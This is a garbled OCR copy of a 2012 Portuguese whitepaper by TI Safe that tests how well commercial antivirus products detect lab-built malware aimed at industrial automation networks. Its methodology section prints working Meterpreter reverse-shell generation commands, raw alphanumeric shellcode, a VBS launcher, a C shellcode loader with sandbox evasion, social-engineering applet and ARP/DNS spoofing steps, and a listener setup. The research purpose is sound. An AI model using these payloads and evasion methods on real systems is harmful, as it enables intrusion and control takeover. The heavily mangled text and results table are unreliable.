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Resumo

InfecgBes por malware vém se tornando cada vez coamins em industrias, levando em
alguns casos a perda do controle e 0 comprometinuad principais servidores da rede de
automacao. Na maioria dos casos de contaminag@®lggervamos em nossos clientes
brasileiros existia uma solucdo de antivirus iastalna rede que foi infectada, e ela néao foi
capaz de detectar e impedir o alastramento dag@degor toda a rede.

Andlises de solucdes de antivirus encontradastamét e em revistas especializadas avaliam
a efetividade na prevencdo de contaminacdo em dadyres pessoais ou de redes
corporativas, mas néo sado adequadas para sereas sado base para a escolha de solucoes
para redes SCADA.

Buscando orientar melhor os nossos clientes salmkajmelhor solucdo de antivirus a ser

usada em uma planta de automacéo, resolvemos igaredse forma independente e sem

nenhuma influéncia de qualquer fabricante, atépqumo as solu¢des de antivirus de mercado
sao eficazes na deteccdo e combate de ameacas.

Este trabalho apresenta uma série de testes dkaizen nossos laboratérios visando medir a
eficacia de cada solucao de antivirus contra atadedaixo e meédio nivel de complexidade
utilizando ferramentas de ataque baixadas da kttern
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1 INTRODUCAO

Uma quantidade crescente de industrias brasileiess passando por sérios problemas
relacionados a infec¢des por malware em suas gldetautomacéo, levando em alguns casos
a perda do controle, congelamento das IHMs e o oommgtimento dos principais servidores
da rede de automacao.

Em todos os casos em que fomos acionados, as dedastomacgéo tinham, ao menos em
alguns servidores, solu¢des de antivirus instaladetsializadas, e elas ndo foram capazes de
impedir que os servidores fossem contaminados @ dufeccao se alastrasse por toda a rede
de automacao da empresa causando sérios problemas.

Observando estes casos ocorridos em plantas deteslidrasileiros, nossa divisdo de
segurancaSCADA resolveu investigar de forma independensera nenhuma influéncia de
qualquer fabricante, até que ponto as solucesitildras vendidas no Brasil estavam sendo
eficazes na deteccdo e combate de ameacas endecag®macao.

Os tépicos que seguem neste trabalho detalhanstes tgue foram realizados no laboratério
da Tl Safe na cidade do Rio de Janeiro entre Zbdejaneiro de 2012, os resultados obtidos
e as conclusdes a que chegamos a respeito, tentasplander a uma simples pergunta: o
guanto uma solucao de antivirus é eficiente pgrat@cao de redes industriais?




2 METODOLOGIA UTILIZADA
2.1 AREDE VIRTUAL DE TESTES

Antes de realizarmos os testes foi necessario gumaii uma pequena rede virtual de testes
cuja arquitetura estd apresentada na figura abaixo:

Victim PC Web Server

Windows 7 Enterprise SP1 32bits
10.1.1.109

Apache Web Server v2.2.21
Gentoo Linux adm64
10.1.1.109

Attacking Host

HP Pavillion DV&780se
Backtrack Linux 4

10.1.1.106
8-port switch

Méaquina (a) — Vitima

Hypervisor

Oracle VirtualBox OSE
Ubuntu Linux 10.10
10.1.1.111

Maquina com sistema operaciomdicrosoft Windows 7 Enterprise 32bitgtualizada com a
plataformaOracle Virtual Box 3.2.8_OSEApOs a instalacdo do sistema operacional, a
maquina recebeu todas as atualizacdes de segwegreahes através déindows Update
Foram instalados o Adobe Reader versdo 8.1.2Java Runtime Environmemnersao 6
update30 para servirem vetores de infeccdo a serem mdue em nossos testes. Finalizada
a configuracdo da maquina virtual com os composdig@dos acima, tiramos usmapshot

da maquina chamado de 'Estado Inicial' que seliaagdb como ponto de partida para todos
0s testes.

Méaquina (b) — Servidor Web Apache

Para simular uma rede virtual com caracteristieaarda intranet corporativa, configuramos
um servidor web Apache em outra maquina virtuabzeam a plataform@racle Virtual Box
3.2.8_0OSKEodando. Na maquina vitima existe um browser haeExplorer 9 configurado
com pagina inicial apontando para uma URL validstelservidor web Apache. Esta € uma
configuracdo comum em corporagdes e durante csstekinamos este site para servir como
vetor de ataque por engenharia social.

Méaquina (c) — Atacante

A maquina é um Laptop HP Pavilion DV6780se comBacktrack Linu& versdo 4
configuradocom o Metasploit Framework Communityersdo 3 totalmente atualizado. O
Metasploit Frameworké uma ferramenta para desenvolvimento e lancandmtexploits
muito utilizada em testes de invasdo. O framewamsiste em uma série de ferramentas,
exploits e cédigos que podem ser utilizados atrdeédiferentes interfaces.



2.2 DESCRICOES DOS ATAQUES REALIZADOS

As amostras de malware utilizadas nos testes fazamparte geradas peldetasploit
Frameworkatravés da arvore oficial Subversion (SVN), parfjetada por vetores web, parte
utilizada de injetores de codigmpen sources parte fabricada internamente pela equipe de
seguranca SCADA da Tl Safe em seu laboratorio.

As 16 amostras de malware utilizadas nos testasifas seguintes:

1. “EICAR”: Arquivo de testes de Antivirus EICAR

2. “Metasploit EXE Default Template (no encryptionBinario gerado pelo Metasploit
Framework com payload Meterpreter (interpretaddvoalo MSF) com template de
binario padrdo, sem criptografia de payload.

# msfpayload windows/meterpreter/reverse_tcp LHOST=10.1.1.106
LPORT=31337 R / msfencode -t exe -o samplel.exe -e generic/none

3. “Metasploit EXE Default Template (shikata_ga_naBinario gerado pelo Metasploit
Framework com payload Meterpreter (interpretaddvoalo MSF) com template de
binario padrdo e criptografia de payload shikatanga

# msfpayload windows/meterpreter/reverse_tcp LHOST=10.1.1.106
LPORT=31337 R / msfencode -t exe -o sample3.exe -e x86/shikata_ga_nai

4. “Metasploit EXE Notepad Template (no encryptiorBinario gerado pelo Metasploit
Framework com payload Meterpreter (interpretadtivaalo MSF) com template do
Bloco de Notas (notepad.exe) original do Windowsliiico, sem criptografia de
payload.

# msfpayload windows/meterpreter/reverse_tcp LHOST=10.1.1.106
LPORT=31337 R | msfencode -t exe -o sampled.exe -e generic/none -k -x
notepad_win7_turkish.exe

5. “Metasploit EXE Notepad Template (shikata_ga_ndjfhiario gerado pelo
Metasploit Framework com payload Meterpreter (jptetador nativo do MSF) com
template do Bloco de Notas (notepad.exe) originalMindows 7 Turco e criptografia
de payload shikata_ga_nai.

# msfpayload windows/meterpreter/reverse_tcp LHOST=10.1.1.106
LPORT=31337 R / msfencode -t exe -o sampleb.exe -e x86/shikata_ga_nai
-k -x notepad_win7_turkish.exe

6. “Metasploit EXE SkypePortable Template (shikata ng&)”: Binario gerado pelo
Metasploit Framework com payload Meterpreter (jmtetador nativo do MSF) com
template do instalador do Skype Portable (SkypeBlatonline.paf.exe), com
criptografia de payload shikata_ga_nai.

# msfpayload windows/meterpreter/reverse_tcp LHOST=10.1.1.106
LPORT=31337 R | msfencode -t exe -o sample6.exe -e x86/shikata_ga_nai
-k -x SkypePortable online.paf.exe



7.

“Metasploit LOOP-VBS Default Template (no encrypija Script VBS gerado pelo
Metasploit Framework com payload Meterpreter (jptetador nativo do MSF), sem
criptografia de payload.

# msfpayload windows/meterpreter/reverse_tcp LHOST=10.1.1.106
LPORT=31337 R | msfencode -t loop-vbs -o sample7.exe -e generic/none

“Metasploit LOOP-VBS Default Template (shikata_gai)h Script VBS gerado pelo
Metasploit Framework com payload Meterpreter (jptetador nativo do MSF), com
criptografia de payload.

# msfpayload windows/meterpreter/reverse_tcp LHOST=10.1.1.106
LPORT=31337 R | msfencode -t loop-vbs -o sample8.exe -e
x86/shikata_ga_nai

“Shellcodexec Default w/ VBS launcher”: Injetor dédigo ShellcodeExécom
launcher em VBS e payload alfanumérico gerado g&6. O injetor de codigo
ShellCodeExec funciona recebendo o payload alfariofsméomo argumento na linha
de comando. O payload é gerado no MSF:

# msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread
LHOST=10.1.1.106 LPORT=31337 R / msfencode -a x86 -e x86/alpha_mixed
-t raw BufferRegister=EAX

Saida:

PYIIIIIIIIIIIIIIII7QZjAXPOAOAKAAQ2AB2BBOBBABXP8ABuJIylxhniCOWp30U0k9m
5EaJdJrRDnkRrFPl1KrrF1LK3bdTLKcBWXDOLwWCzWVP190uaO0L1UlPagl6b6LO07ja80tM50
Jg8bxpgBSglKpRb01KG2elFa8PnkgPt8K5IPD42jeQZpfO0nkRhUHLKOXEpgqgKckSWLCcyL
KgDnkfazZvplYo6QkpLliQjoTMGqZg5bhIp45KDGsaqmXxwKsMtdBUJBPXLK]l1HetFaZsQvNk
TLBk1KpXwlfaZsLKDD1KWqZpomYQTQ4vDCksk0aSicjPQkOMOBxSoSjNkUBS8kk6cmrHecd
rwpS01xD7SC7BsSoRt3Xr1rWGVIWwion5H81Pwqg7puPfIodV4bp3XTiopRKs0i0IE602p60
60spFO0QPV0cX8jvoiOKPkOkeMGCZ6eu867CluQlzb58ERgpCISYmY8fazR02vegCX1YMut
4gg90hUk500rT4L1ioPNgxBUX1BHXpoEmrsf9on5Q0z5PRIfdACfCgSXfbXYKx3oYojuNkdv
2Jw0BHuUP20S0c0cfrJ7p58bxNDccmbKOXUnsf3qgzWpV63crwES8VvbHYIX3090KeuQXCtiy
VNeL6SEzLxCAA

Criamos um arquivo VBS para chamar o binario cqmayload como argumento:

Set oShell = CreateObject("Wscript.shell")
sPath=Wscript.ScriptFullName

x=InstrRev (sPath, "\")

sPath=Left (sPath, x)

sCmd = sPath+"scex32.exe

PYIIIIIIIIIIIIIIII7QZjAXPOAOAKAAQ2AB2BBOBBABXP8ABuJIylxhniCOWp30U0k9m
5EaJdJrRDnkRrFPl1KrrF1LK3bdTLKcBWXDOLwWCzWVP190uaO0L1UlPagl6b6LO07ja80tM50
Jg8bxpgBSglKpRb01KG2elFa8PnkgPt8K5IPD42jeQZpfO0nkRhUHLKOXEpgqgKckSWLcyL
KgDnkfazZvplYo6QkpLliQjoTMGqZg5bhIp45KDGsagmXxwKsMtdBUJBPXLK]l1HetFaZsQvNk
TLBk1KpXwlfaZsLKDD1KWqZpmYQTQ4vDCksk0aSicjPQkOMOBxSoSjNkUBS8kk6cmrHecd
rwpS01xD7SC7BsoRt3Xr1rWGVIWwion5H81Pwqg7puPfIodV4bp3XTiopRKs0i0IE602p60
60spFO0QPV0cX8jvoiOKPkOkeMGCZ6eu867CluQlzb58ERgpCISYmY8fazR02vegCX1YMut
4gg90hUk500rT4L1ioPNgxBUX1BHXpoEmrsf9on5Q0z5PRIfdCfCgSXIfbXYKx3o0YojuNkdv



10.

11.

12.

2Jw0BHuUP20S0c0cfrJ7p58bxNDccmbKOXUnsf3qgzWpV63crwES8VvbHYIX3090KeuQXCtiy
VNeL6SEzLxCAA"

oShell.Run sCmd, 0,False

“TI Safe Modded Shellcodeexec (w/ VBS launchemjetor de cédigo
ShellcodeExec modificado pela Tl Safe com launeneNVBS e payload
alfanumérico gerado pelo MSF.

Utilizamos o cédigo-fonte original do ShellCodeExemdificamos os nomes de
funcdes e variaveis de forma aleatoéria (obfuscagdolidamos a ordem de execucao
para tentar fugir das assinaturas da analise lieartks softwares anti-virus.

“TI Safe Modded Shellcodeexec (Custom EXE w/ embeéddahyload)”: Injetor de
codigo ShellcodeExec modificado pela Tl Safe cogiqaal alfanumérico gerado pelo
MSF embutido.

Removemos a passagem do argumento (argv[1]) dadipera a funcao injetora e
colocamos o payload em uma variavel, entdo pagsadaa funcéo injetora. Dessa
forma eliminamos o uso de um launcher.

“TI Safe Custom Payload Launcher”: Injetor de cadigiado em laboratério pela
equipe da Tl Safe com payload alfanumérico geratim [dSF embutido e sistema
rudimentar de evasao de maquinas virtuais de safsnamntivirus.

Criamos um pequeno programa em C com a chamadauaMiloc() com a flag:
PAGE_EXECUTE_READWRITE.

void* p = VirtualAlloc (NULL, PAYLOAD_ SIZE, MEM_RESERVE |
MEM_COMMIT, PAGE_EXECUTE_READWRITE) ;

E copiamos o payload de uma variavel para estaafweada:

char payload[PAYLOAD_SIZE] =

“PYITIIIIIIIIIIIIIII7QZjAXPOAOAKAAQ2AB2BBOBBABXP8ABUJIYy1xhniCOWp30U0k9
m5EaJrRDnkRrFP1KrrF1LK3bdTLKcBWXDOLWCzZWVP190uaO0L1UlPagl 6b6LQ0ja80tM5
0Jg8bxpagBSglKpRb01KG2elFa8PnkgPt8K5IPD42jeQZpfOnkRhUHLKOXEpggKckSWLCY
LKgDnkfazvplYo6QkpLliQjoTMGQgZg5hIp45KDGsamXxwKsMtdBUIJBPXLK1HetFazsQvN
kTLBk1KpXwl faZsLKDD1KWgZpmYQTQ4vDCksk0aSicjPQkOMOBxSoSjNkUB8kk6cmrHec
drwpS01xD7SC7BsoRt3Xr1rWGVWwion5H81Pwqg7puPfIo04V4Abp3XTiopRKs0i0IE602p6
060spF0QPV0cX83jvoiOKPkOkeMGCZ6eu86jCluQlz58ERgpCISYmMY8fazR02vegCX1YMu
t4gg90ohUk500rT4L1ioPNgxBUX1BHXpoEmrsf9on5Qz5PRILACECgSXEfbXYKx30YojuNkd
v2Jw0BHUP20S0c0cfrI7p58bxNDccm5KOXUnsf£3gzWpV6e3crwES8vbHYIX3090KeuQXCti
yVNeL6SEzLxCAA” ;

char* pload_pointer = (char*) p;
char* x = payload;
int 1i;

for(i = 0; i < PAYLOAD SIZE; i++)
*pload_pointer++ = *xX++;
E executamos:

(*(void (*) () p) ()



Adicionamos também algumas funcdes para deteatap@damentos de sandboxing
e abortar a execucéo de forma limpa (return Oy@srde analises de timing e
verificacdo de bypass de fung¢des para minimizaka de deteccdo por execution
tracing.

13.“Metasploit PDF (adobe_utilprintf)”: Meterpreter botido em exploit de PDF
adobe_util.printf6é

14.“Metasploit PDF (adobe_pdf_embedded_exe)”: Metégorembutido em exploit de
PDF adobe_pdf embedded_exe7

15.“Metasploit PDF (adobe_pdf_embedded_exe_ nojs)”:evpgeter embutido em
exploit de PDF adobe_pdf embedded_exe nojs8

16.“Metasploit Java Applet”: Meterpreter embutido eavd Applet via ataque Web.
Utilizamos o SET (Social Engineering Toolkit) para gerar um atage® clonando
um website existente.

Do menu principal selecionamos 1 (Social Engineefittacks)— 2 (Website Attack
Vectors)— 1 (Java Applet Attack Method) 2 (Website Clonery» 13
(ShellCodeExec Alphanum Shellcode) Windows Meterpreter Reverse Tcp

Utilizamos arpspodf para realizar um ataque de MITM (Man-in-the-midldiem a
técnica de “Arp Poisoning”. A ferramenta dnsspdédi utilizada para responder as
requisicoes DNS da vitima redirecionando o endedegimtranet corporativa para o
nosso host atacante que esta rodando uma copauada intranet com o Applet
Java malicioso injetado em um servidor web levePgthon.

Em seguida e abrimos o Internet Explorer 9 na nmagdé testagem que abre
inicialmente a pagina da intranet corporativa edérecionado para nosso host
atacante, onde uma janela pergunta se o usuaefadegecutar aquele Applet Java.

Ao clicar em “Run”, o malware é executado.

Na maquina atacante (Maquina C), subimos o Metadpimamework Console
(msfconsole) e executamos o handler do meterpretdigurado para persistir para
multiplas sessfes e rodar automaticamente um genigtmigrar para 0 processo
explorer.exe.

# msfconsole

msf > use multi/handler

msf exploit(multi/handler) > set PAYLOAD
windows/meterpreter/reverse_tcp

msf exploit(multi/handler) > set LHOST 10.1.1.106
msf exploit(multi/handler) > set LPORT 31337

msf exploit(multi/handler) > set ExitOnSession false
msf exploit(multi/handler) > set AutoRunScript
/root/msf_scripts/migrate_to_explorer.rb



2.3 METODOLOGIA DE TESTES

bY

A metodologia empregada para a realizacdo dosstediedece a sequencia de passos
detalhada abaixo:

a) Configuracdo da maquina vitima com a solucao deieug a ser testada:

b)

A partir da maquina virtual em seu 'Estado Iniciadstalamos e configuramos a
solucdo de antivirus a ser testada. ApOs a indsialaggistro da licenca (quando
disponivel) e completa atualizacdo da base deassas da solucdo de antivirus, foi
obtido um novesnapshotla maquina chamado de 'Estado Protegido'.

Todos os softwares de antivirus testados (excetds@mas gratuitos) foram obtidos a
partir doswebsitesde seus fabricantes em suas versdes para avadac&ersoes 32
bits e em idioma inglés. Todos foram instaladospio 'Recomendada’.

As solucdes antivirus testadas foram as seguintes:

. McAfee Antivirus Plus 2012
. Kaspersky Antivirus 2012

. Panda Antivirus Pro 2012

. Trend Titanium Maximum Security 2012
. Norton Antivirus 2012

. F-Secure Antivirus 2012

. avast! Pro Antivirus 6

. AVG Anti-Virus FREE 2012
. Sophos Anti-Virus 7

. Microsoft Security Essentials
. E-SET NOD32 Antivirus 5

Execucédo de ataque: a maquina vitima em 'Estadedfito’ € submetida ao primeiro
ataque da lista e sdo anotados os resultados.

Restauracdo da maquina vitima: apos o ataquedtetestado, € restaurado o snapshot
da maquina vitima em 'Estado Protegido’ e o proxatemue € realizado. Esta
sequéncia é repetida até que todos os ataquesresitha realizados com o antivirus
em testes. Finalizados os testes para este astigirsequéncia € repetida para o
préximo antivirus.



3 RESULTADOS

Os resultados obtidos foram compilados em uma m@inexo A). A partir da analise desta
matriz foi possivel observar que:

» A grande maioria das deteccdes foi baseada enstieari

* A grande maioria das solu¢gBes de antivirus ndacdpaz de detectar a ameacga na
memoria.

* Apenas duas solucbes reagiram por comportamenfahoSoAntivirus 7 e Panda
AntiVirus 2012.

* Nenhuma solucdo que conseguiu detectar um atagoapfaz de paré-lo.
* Nenhuma das solu¢des conseguiu a nota maxima.

* Nenhuma das solu¢des conseguiu detectar mais damostra de malware criada em
laboratorio pela equipe da Tl Safe (ataques 10]112).e

* Alguns produtos comerciais ndo foram capazes dec@&t nenhuma amostra de
malware criada em laboratorio pela equipe da Té $athques 10,11 e 12).

 Em termos de heuristica, ha solu¢cdes comerciaigigeiam desempenho inferior a
solucbes gratuitas e outras que tiveram desempsqiivalente.

* Todos os candidatos falharam em prevenir o atagloegpplet Java (ataque 16).

A taxa de deteccéao por tipo de malware obtida essao®testes foi a seguinte:

Infections by malware type
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Em um ranking de 0 (minimo) a 16 (maximo) pontosspeeis, a classificacdo final das
solucdes de antivirus testadas foi a seguinte:

# | Produto Score
F-Secure Antivirus 2012
Sophos Anti-Virus 7
McAfee Antivirus Plus 2012
Kaspersky Antivirus 2012

2 |avast! Pro Antivirus 6 12
Microsoft Security Essentials
E-SET NOD32 Antivirus 5

3 | Panda Antivirus Pro 2012 11
Norton Antivirus 2012

AVG Anti-Virus FREE 2012
5 | Trend Titanium Maximum Security 8

13




4 DISCUSSAO

Podemos confiar em testes de antivirus gue lemagesias ou encontramos na Internet?

Em uma réapida pesquisa na Internet é possivel @acorentenas de artigos de revistas

especializadas com a andlise de solucdes de astiviuitas delas contendo recomendagdes
detalhadas e opinides de experts e a maioria bas@adxperiéncia de uso em computadores
domeésticos.

Por este motivo fica dificil confiar nestes testgmndo precisamos proteger um ativo tao
critico como uma rede de automacao. Além dissmdggarte das analises € tendenciosa e
procura favorecer os fabricantes de antivirus gysagrocinaram.

Uma pesquisa séria deve estar baseada em uma fogtadmonfidvel e ndo ter interesses
comerciais envolvidos. Algumas organizacfes int@amais sem fins lucrativos como a
AMTSO" (Anti-Malware Testing Standards Organizatidarnecem metodologias de testes e
vasta documentacao visando a melhoria na qualiddujetividade e relevancia em analises
de solu¢des de antivirus.

5 CONCLUSAO

O Quanto uma solucao de antivirus é eficiente pamadtecéo de redes de automacéo?

A maioria das tecnologias de antivirus € baseadaammecimento das assinaturas dos
ataques, o que € excelente se estiver combatendacam conhecidas como Confiker ou
Slammer, por exemplo. Nossos testes mostraram galedq 0 malware € um pouco mais
sofisticado ou explora vulnerabilidades Windowscdesecidas zero-day, os antivirus de
mercado pouco fazem para defender os sistemas.

N&o estamos falando apenas de sofisticadas cylmasaztomo o Stuxnet e o DuQu, mas de
ataques menos sofisticados que atacantes inicié@tept-Kiddie$ conseguem realizar com
a ajuda de ferramentas de ataque baixadas dadttern

Nosso trabalho mostrou que nenhuma solucdo deiraistide mercado € capaz de fornecer
completa protecao as redes de automacao e levampaesas a terem uma “falsa sensacao de
seguranca”, acreditando estarem seguras enquadmpestar com a rede infestada por
malware,sofrendo ataques que variam desde a espionagestriatlaté mesmo ao controle
total de seus sistemas por atacantes externos.

Se um especialista em seguranca disser que sisGRISA podem ser protegidos apenas
usando solugBes de antivirus, ele podera estartendeeum erro grave e comprometendo a
produtividade de sua empresa. Solucdes de antisgtlogecomendaveis, mas ndo fornecem
toda a seguranca necessaria em sistemas de calgroiea planta de automacao.

Nossa recomendagdo para uma rede de automacdo se@isa € utilizar controles
compensatorios além da solucdo de antivirus. Estegoles protegerdo a rede contra os
atagues antes mesmo deles chegarem a atingir asnasiga rede de controle.



A segmentacao da rede de automacdo segundo o apmereda a norma ANSI/ISA-99 em
seu modelo de zonas e conduftésmuito importante e deve ser feita. Na entradaada
zona de seguranca deve haver equipamento de segutariorda como Firewalls e sistemas
de deteccéo e prevencao de intrusdes (IDPSs) csinagas contra ataques SCADA.

Uma boa revisao na configuracéo das regras dagalieque protegem a rede de automacao
orientada pelas melhores praticas do mercado, gidortontrole sobre qualquer dispositivo
gue seja conectado a rede SCADA (laptops de tes;eiridias removiveis, modems e outros)
e a inspecédo profunda de novos programas antekeslserem instalados pode aumentar e
muito o nivel de seguranca e evitar infeccdes.

Algumas préticas devem ser regra em redes de aciomBlao permitir o uso de e-mail e
acesso a web de dentro da rede de automacao edmdando possivel, atualizar os patches de
seguranca dos computadores mais criticos, sdo agedidremamente recomendaveis. Todas
as solucbes de seguranca instaladas e configuredesde de automacao devem aglutinar
seuslogs em uma base Unica de dados gerenciada por umsohgzio de SIEMSecurity
Information and Event Managemgngue alertara a equipe de seguranca ao mininab dn
um incidente de seguranca.

Além da prevencdo as empresas devem estar prepgrata o pior e possuir um plano de
contingéncia para o caso de tudo dar errado endaplie automacéo ser infectada. E essencial
ter ferramentas de backup automatizado instalatkam de redundancia nos servidores
criticos da rede de automacdo. Nossa experiéncsranque o processo de desinfeccdo de
uma rede de automacdo contaminada é bastante oneososplexo e depende da colaboracéo
dos fabricantes para o sucesso, 0 que torna ogsmdento. Incentivamos a comunidade
internacional a criar um guia de boas praticas aatesinfeccdo de plantas de automacéo que
possa servir como linha base para orientar as eaprgue estejam passando por este
problema a retomar o controle sobre seus sistemauwtrole e supervisdao de uma forma
planejada e preferencialmente rapida.
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ANEXO — MATRIZ DE RESULTADOS DOS TESTES

Solugdes de Antivirus Testadas
McAfee Antivirus Pl Kaspersky Antivi Panda Antivirus P Trend Titani . - . AVG Anti-Virus FREE . Microsoft Securit .
Ataques Executados CRIEEATIILS FILS | FASPEISKYATAILS | FancaAmius oo - Tend Wamm oo antirus 2012 [F-Secure Anfivirus 2012 quastl— Pro Antirus 6 Hors Sophos AntiVirus 7 |00t SY e oET NODS2 Antirus 5
2012 2012 2012 Maximum Security 2012 Essentials
1 EICAR EICAR test file EICAR-Test-File | EICAR-AV-TEST-FILE Eicar_test file EICAR TestString | Trojan.Generic.6567028 | EICAR Test:NOT virus!! EICAR_Test EICAR-AV-Test | DOS/EICAR Test File Eicar test file
2 Metasplot EXeEnE)re;;liJ(itn;'emplate (no Swrortf Trojan.Win32.Generic |  Suspicious File [ TROJ_SWRORT.SME | Packed.Generic.347 Backdoor.Shell AC Win32:SwPatch Win32/Heur Mal/EncPk-ACE | Trojan.Win32/SwrortA avanamof\::/(\)?j;/Rozena.AA
3 Metaspl(():hE”z(aIEt:eJ:ulrt];)e mpate Swrortd Trojan.Win32.Generic |  Suspicious File [ TROJ_SWRORT.SME | Packed.Generic.347 Backdoor.Shell AC Win32:SwPatch Win32/Heur Mal/Swrort-C Trojan.Win32/Swrort A avanamof\{\rl(l)r;ss/Rozena.AH
4 Metasploit XE Notepg d Tempiate (no Swrortf Trojan.Win32.Generic | Trj/Genetic.gen - - Backdoor.Shell AC Win32:SwPatch - Mal/Swrort-C Trojan.Win32/SwrortA avanamomeSZ/Rozena.AA
encryption) frojan
i . ) . . , ) , . . jant of Win32/R AH
5 Metasploi E?(ENotepadTemplate Swrortd Trojan.Win32.Generic |  Trj/Genetic.gen - - Backdoor.Shell AC Win32:SwPatch Win32/Heur Mal/Swrort-C Trojan.Win32/SwrortA avarianto |@3 Rozena
(shikata_ga_nai) trojan
6 Metasplot EXElSkypePortablIe Template Swrortd Trojan.Win32.Generic - - - Backdoor.Shell AC Win32:SwPatch - Mal/Swrort-C Trojan.Win32/Swrort A avanamomeSZ/Rozena.AH
(shikata_ga_nai) trojan
7 Metasploit LOOP-VBS DgfauItTempIate Swrortf Trojan.Win32.Generic Script Blocked TROJ_SWRORT.SME | Packed.Generic.347 Backdoor.Shell AC Win32:SwPatch - Mal/Swrort-C Trojan.Win32/SwrortA avanamomeSZ/Rozena.AA
(no encryption) trojan
8 Metasplol LOO.P_VBS DefagItTempIate Swrortf Trojan.Win32.Generic Script Blocked TROJ_SWRORT.SME | Packed.Generic.347 Backdoor.Shell. AC Win32:SwPatch - Mal/Swrort-C Trojan.Win32/Swrort A avanamome32/Rozena.AH
(shikata_ga_nai) trojan
o Trojan.Win32.G ) ‘ ‘ ) ‘ ) ) ‘ i .
9 | Shellcodexec Default w/ VBS launcher Generic.Afrl fojan ”\]/rrg enome TrjlCLA - Trojan.Gen Trojan.Generic.6567028 [ Win32:Malware-gen | Trojan Generic22 KPM Mal/Generic.L - W|n32/Shet\rIOcJ(;t:]eRunnerA
10 Tl Safe Modded Shellcodeexec (w/ VBS Scrpt Blocked
launcher)
Tl Safe Modded Shellcodeexec (Custom . ) -
1 EXE w/ embedded payload) ackdoor.Shell AC Trojan Generic22.SND Trojan.Win32/SwrortA
12 Tl Safe Custom Payload Launcher - - - - - - - - Mal/FakeAV-FS
) " . . ) Bloodhound.Exploit21 ) ) ) . - ) .
13 Metasploit PDF (adobe_utilprintf) ExploitPDF.bkgen | ExploitJs.Pdfka.cil - HEUR_PDFEXP.B 3 ExploitPDF-JS.Gen JS:Pdfka-gen ScriptExploit Troj/PDFJs-B Trojan.Win32/SwrortA | JS/Exploit.Pdfka.NOO trojan
Metasploit PDF - ) - ) . . . - . .
14 Swrortf Trojan.Win32.Generic |~ Suspicious File | TROJ_SWRORT.SME | Bloodhound.PDF.24 | ExploitPDF-Dropper.Gen Win32:SwPatch Exploit PDF Mal/Swrort-C Trojan.Win32/SwrortA | PDF/Exploit Pidief. PFW trojan
(adobe_pdf_embedded_exe)
Metasploit PDF - ) - ) . . - - .
15 ! Swrortf Trojan.Win32.Generic | Suspicious File TROJ_PIDIEF.SMEO | Bloodhound.PDF.24 | ExploitPDF-Dropper.Gen PDF:Launchr-C Exploit Mal/Swrort-C Trojan.Win32/SwrortA | PDF/Exploit Pidief.PFT trojan
(adobe_pdf_embedded_exe_nojs)
16 Metasploit Java Applet

Observacéao:as células da matriz com conteudo em cor vermaliiadm as assinaturas dos atagues que foram daitegiala solucao de antivirus testada. Célule
vazias indicam que a solugdo de antivirus ndodpaz de detectar o ataque e consequentementeequigi@le sucesso.



